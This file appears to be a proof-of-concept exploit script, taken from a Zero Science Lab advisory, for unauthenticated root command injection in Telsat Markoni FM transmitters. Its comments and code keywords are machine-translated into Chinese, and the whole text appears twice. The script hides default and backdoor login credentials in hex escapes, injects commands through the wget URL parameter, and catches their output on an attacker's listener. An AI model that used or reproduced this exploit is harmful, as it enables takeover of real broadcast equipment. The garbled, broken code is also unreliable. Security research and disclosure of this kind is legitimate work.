#!/usr/bin/env Python
#
#
#Telsat Markoni FM发射器1.9.5根命令注入POC漏洞
#
#
#vendor: Telsat SRL
#产品网页: https://www.mmarkoni.it
#受影响的版本: Markoni-D(紧凑)FM发射机
#Markoni-DH(兴奋剂+放大器)FM发射机
#Markoni-A(模拟调制器)FM发射机
#固件: 1.9.5
#1.9.3
#1.5.9
#1.4.6
#1.3.9
#
#摘要:专业FM发射器。
#
#DESC: Markoni FM发射器容易受到未经身份验证的影响
#具有根特权的远程代码执行。攻击者可以利用
#通过操纵电子邮件设置的命令注射漏洞”
#WAN IP信息服务,它使用“ WGET”模块。这允许
#攻击者通过管理获得未经授权访问系统的访问
#通过在HTTP获取请求中利用“ URL”参数来特权
#to ekafcgi.fcgi。
#
#-----------------------------------------------------------------------------------------------------------------------------------
#[LQWRM@MetalGear〜]#python yp.tiolpxe 10.0.8.3:88 Backdoor 10.0.8.69 Whoami
#可用于后门的身份验证
#注入命令: whoami
#在港口9999上听
#('10 .0.8.3',47302)回电
#接收到:根
#家政.
#Zya,感谢您停下来!
#
#[LQWRM@MetalGear〜]#
#
#-----------------------------------------------------------------------------------------------------------------------------------
#
#测试在: GNU/Linux 3.10.53(ARMV7L)
#iCorem6solox
#LightTPD/1.4.33
#
#
#由gjoko'liquidworm'Krstic发现的脆弱性
#马其顿信息安全研究与开发实验室
#零科学实验室-https://www.zeroscience.mk- @Zeroscience
#
#
#咨询ID: ZSL-2024-5808
#咨询URL: https://www.zeroscience.mk/en/vulnerabilities/zsl-2024-5808.php
#
#
#10.11.2023
#
从Colorama Import Inef,Fore
导入RE,OS,SYS,请求
导入插座,线程
从时间进口睡眠
init()
DEF JUST_LISTEN_TO_ME(LPORT,CSTOP):
s=socket.socket(socket.af_inet,socket.sock_stream)
s.bind(('0.0.0.0',lport))
S.Listen(1)
打印('听端口' + str(lport))
TRY:
conn,addr=s.accept()
打印(addr,“回叫”)
cstop.set()
除了socket.TimeOut:
打印(“呼叫返回超时\ ncheck your端口”)
conn.close()
而true:
TRY:
odg=conn.recv(1771).decode()
uam=re.search(r'user-agent: \ s*(。*)',odg)
如果UAM:
无人机=uam.group(1)
打印(f'received: {uav}')
出口()
其他:
打印(“无输出为您”)
Except:
印刷(“家政.”)
出口()
s.close()
def Authenticate(ipaddr,选项): ####加密屎&#### _''
auth_url=f'http://{ipaddr}'#ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo'''
ep='/cgi-bin/ekafcgi.fcgi?opcode='##############################
如果选项=='用户': #####################################
用户名='\ x75 \ x73 \ x65 \ x72'#####################################
密码='\ x75 \ x73 \ x65 \ x72'####################################
Elif选项=='Admin': #############################################
用户名='\ x61 \ x64 \ x6d \ x69 \ x6e'###################################
密码='\ x61 \ x64 \ x6d \ x69 \ x6e'####################################
elif选项=='Backdoor': ############################################
用户名='\ x66 \ x61 \ x63 \ x74 \ x6f \ x72 \ x79'############'
密码='\ x69 \ x6e \ x6f \ x6b \ x72 \ x61 \ x6d \ x6d \ x32 \ x35 \ x35'#_''
authp={
'username':用户名,
'password':密码
}
resp=requests.get(auth_url + ep +'1',params=authp)
如果在desp.headers:中的“ set-cookie”
print(f'authentication成功{option}')
auth_cookie=resp.headers ['set-cookie']。split(';')[0]
返回auth_cookie
其他:
print(f'authentication失败了{option}。')
打印(“尝试其他选项。”)
没有返回
def execute(ipaddr,cookie,命令,listing_ip):
print(f'Indighting command: {命令}')
ep='/cgi-bin/ekafcgi.fcgi?opcode='
eden=f'http://{ipaddr} {ep} 26param=wgetena=1url=-u%20%60 {command}%60%20 {erualy_ip} :9999'
dva=f'http://{ipaddr} {ep} 27'
tri=f'http://{ipaddr} {ep} 26param=wgetena=0url='
clear=f'http://{ipaddr} {ep} 3com1=203c%20001001'
标头={'cookie': cookie}
requests.get(伊甸园,标头=标题)
睡眠(2)
requests.get(DVA,标题=标题)
睡眠(2)
requests.get(tri,标题=标题)
睡眠(1)
requests.get(清除,标头=标题)
打印('Zya,感谢您停下来!')
出口(0)
Def Njaaah(文本):
列=os.get_terminal_size()。列
打印(text.center(列))
zsl='\ 033 [91MWADDUP!\ 033 [0M'#WIN64
mrjox=f'''
________
/\\
/____ \\
|/0 \\ |
| \\ ______/|
\\ _____________/{zsl}
| |
/\\
/o \\
| o \\
| \\
| \\
| ____________ |
'''
如果Len(sys.argv)!=5:
打印()
打印(“这是Markoni发射机0天的POC脚本”)
print('USAGE: Python YP.Tiolpxe Target_ip
ort option listing_ip命令')
打印('Option:'用户','admin',“ Backdoor'')
打印('默认收听端口: 9999')
Njaaah(Mrjox)
出口()
ipaddr=sys.argv [1]
opt=sys.argv [2]
lister_ip=sys.argv [3]
命令=sys.argv [4]
opt_map={
“管理员” :'管理员',
“用户” :'用户',
“后门” :“后门”
}
如果在opt_map:中选择
auth_cookie=authenticate(ipaddr,opt_map [opt])
如果auth_cookie:
cstop=threading.event()
lt=threading.thread(target=just_listen_to_me,args=(9999,cstop))
lt.start()
execute(ipaddr,auth_cookie,命令,listy_ip)
cstop.set()
lt.join()
其他:
打印(“无效选项。”)
#
#
#Telsat Markoni FM发射器1.9.5根命令注入POC漏洞
#
#
#vendor: Telsat SRL
#产品网页: https://www.mmarkoni.it
#受影响的版本: Markoni-D(紧凑)FM发射机
#Markoni-DH(兴奋剂+放大器)FM发射机
#Markoni-A(模拟调制器)FM发射机
#固件: 1.9.5
#1.9.3
#1.5.9
#1.4.6
#1.3.9
#
#摘要:专业FM发射器。
#
#DESC: Markoni FM发射器容易受到未经身份验证的影响
#具有根特权的远程代码执行。攻击者可以利用
#通过操纵电子邮件设置的命令注射漏洞”
#WAN IP信息服务,它使用“ WGET”模块。这允许
#攻击者通过管理获得未经授权访问系统的访问
#通过在HTTP获取请求中利用“ URL”参数来特权
#to ekafcgi.fcgi。
#
#-----------------------------------------------------------------------------------------------------------------------------------
#[LQWRM@MetalGear〜]#python yp.tiolpxe 10.0.8.3:88 Backdoor 10.0.8.69 Whoami
#可用于后门的身份验证
#注入命令: whoami
#在港口9999上听
#('10 .0.8.3',47302)回电
#接收到:根
#家政.
#Zya,感谢您停下来!
#
#[LQWRM@MetalGear〜]#
#
#-----------------------------------------------------------------------------------------------------------------------------------
#
#测试在: GNU/Linux 3.10.53(ARMV7L)
#iCorem6solox
#LightTPD/1.4.33
#
#
#由gjoko'liquidworm'Krstic发现的脆弱性
#马其顿信息安全研究与开发实验室
#零科学实验室-https://www.zeroscience.mk- @Zeroscience
#
#
#咨询ID: ZSL-2024-5808
#咨询URL: https://www.zeroscience.mk/en/vulnerabilities/zsl-2024-5808.php
#
#
#10.11.2023
#
从Colorama Import Inef,Fore
导入RE,OS,SYS,请求
导入插座,线程
从时间进口睡眠
init()
DEF JUST_LISTEN_TO_ME(LPORT,CSTOP):
s=socket.socket(socket.af_inet,socket.sock_stream)
s.bind(('0.0.0.0',lport))
S.Listen(1)
打印('听端口' + str(lport))
TRY:
conn,addr=s.accept()
打印(addr,“回叫”)
cstop.set()
除了socket.TimeOut:
打印(“呼叫返回超时\ ncheck your端口”)
conn.close()
而true:
TRY:
odg=conn.recv(1771).decode()
uam=re.search(r'user-agent: \ s*(。*)',odg)
如果UAM:
无人机=uam.group(1)
打印(f'received: {uav}')
出口()
其他:
打印(“无输出为您”)
Except:
印刷(“家政.”)
出口()
s.close()
def Authenticate(ipaddr,选项): ####加密屎&#### _''
auth_url=f'http://{ipaddr}'#ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo'''
ep='/cgi-bin/ekafcgi.fcgi?opcode='##############################
如果选项=='用户': #####################################
用户名='\ x75 \ x73 \ x65 \ x72'#####################################
密码='\ x75 \ x73 \ x65 \ x72'####################################
Elif选项=='Admin': #############################################
用户名='\ x61 \ x64 \ x6d \ x69 \ x6e'###################################
密码='\ x61 \ x64 \ x6d \ x69 \ x6e'####################################
elif选项=='Backdoor': ############################################
用户名='\ x66 \ x61 \ x63 \ x74 \ x6f \ x72 \ x79'############'
密码='\ x69 \ x6e \ x6f \ x6b \ x72 \ x61 \ x6d \ x6d \ x32 \ x35 \ x35'#_''
authp={
'username':用户名,
'password':密码
}
resp=requests.get(auth_url + ep +'1',params=authp)
如果在desp.headers:中的“ set-cookie”
print(f'authentication成功{option}')
auth_cookie=resp.headers ['set-cookie']。split(';')[0]
返回auth_cookie
其他:
print(f'authentication失败了{option}。')
打印(“尝试其他选项。”)
没有返回
def execute(ipaddr,cookie,命令,listing_ip):
print(f'Indighting command: {命令}')
ep='/cgi-bin/ekafcgi.fcgi?opcode='
eden=f'http://{ipaddr} {ep} 26param=wgetena=1url=-u%20%60 {command}%60%20 {erualy_ip} :9999'
dva=f'http://{ipaddr} {ep} 27'
tri=f'http://{ipaddr} {ep} 26param=wgetena=0url='
clear=f'http://{ipaddr} {ep} 3com1=203c%20001001'
标头={'cookie': cookie}
requests.get(伊甸园,标头=标题)
睡眠(2)
requests.get(DVA,标题=标题)
睡眠(2)
requests.get(tri,标题=标题)
睡眠(1)
requests.get(清除,标头=标题)
打印('Zya,感谢您停下来!')
出口(0)
Def Njaaah(文本):
列=os.get_terminal_size()。列
打印(text.center(列))
zsl='\ 033 [91MWADDUP!\ 033 [0M'#WIN64
mrjox=f'''
________
/\\
/____ \\
|/0 \\ |
| \\ ______/|
\\ _____________/{zsl}
| |
/\\
/o \\
| o \\
| \\
| \\
| ____________ |
'''
如果Len(sys.argv)!=5:
打印()
打印(“这是Markoni发射机0天的POC脚本”)
print('USAGE: Python YP.Tiolpxe Target_ip

打印('Option:'用户','admin',“ Backdoor'')
打印('默认收听端口: 9999')
Njaaah(Mrjox)
出口()
ipaddr=sys.argv [1]
opt=sys.argv [2]
lister_ip=sys.argv [3]
命令=sys.argv [4]
opt_map={
“管理员” :'管理员',
“用户” :'用户',
“后门” :“后门”
}
如果在opt_map:中选择
auth_cookie=authenticate(ipaddr,opt_map [opt])
如果auth_cookie:
cstop=threading.event()
lt=threading.thread(target=just_listen_to_me,args=(9999,cstop))
lt.start()
execute(ipaddr,auth_cookie,命令,listy_ip)
cstop.set()
lt.join()
其他:
打印(“无效选项。”)